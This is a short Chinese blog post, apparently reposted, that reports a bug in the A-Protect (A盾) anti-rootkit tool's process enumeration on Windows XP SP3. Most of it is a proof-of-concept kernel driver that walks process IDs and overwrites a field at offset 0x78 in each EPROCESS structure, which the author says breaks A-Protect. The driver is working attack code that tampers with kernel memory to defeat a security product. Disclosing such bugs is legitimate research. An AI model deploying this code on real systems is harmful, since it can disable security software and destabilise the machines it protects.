A盾 (A-Protect) 枚举进程的一个bug

ps:
1.A盾为最新版本(2012-06-01 A盾电脑防护 v0.2.6 快乐儿童版)。

2.驱动只在XP Sp3下测试有效。

3.A盾在我机器上驱动老是加载失败啊。

A盾 (A-Protect) 枚举进程的一个bug_第1张图片


测试代码:

/*******************************************
* AUTHOR : 莫灰灰
* DATE   : 2012-6-5
* BOLG   : http://blog.csdn.net/hu3167343
*******************************************/

#include <ntddk.h>

NTSTATUS
PsLookupProcessByProcessId(
						   IN HANDLE ProcessId,
						   OUT PEPROCESS *Process
						 );

NTSTATUS
DriverEntry(
			IN PDRIVER_OBJECT pDriverObj, 
			IN PUNICODE_STRING pRegistryString
			)
{
	int i = 0;
	PEPROCESS pEprocess = NULL;
	NTSTATUS status;

	for ( i = 0; i < 5000; i += 4 )
	{
		status = PsLookupProcessByProcessId((HANDLE)i, &pEprocess);

		if (NT_SUCCESS(status))
		{
			*(PULONG)((ULONG)pEprocess + 0x78) = 1;  
		}
	}
	
	return STATUS_SUCCESS;
}
驱动加载之后,A盾就悲催了。

A盾 (A-Protect) 枚举进程的一个bug_第2张图片

你可能感兴趣的:(A盾 (A-Protect) 枚举进程的一个bug)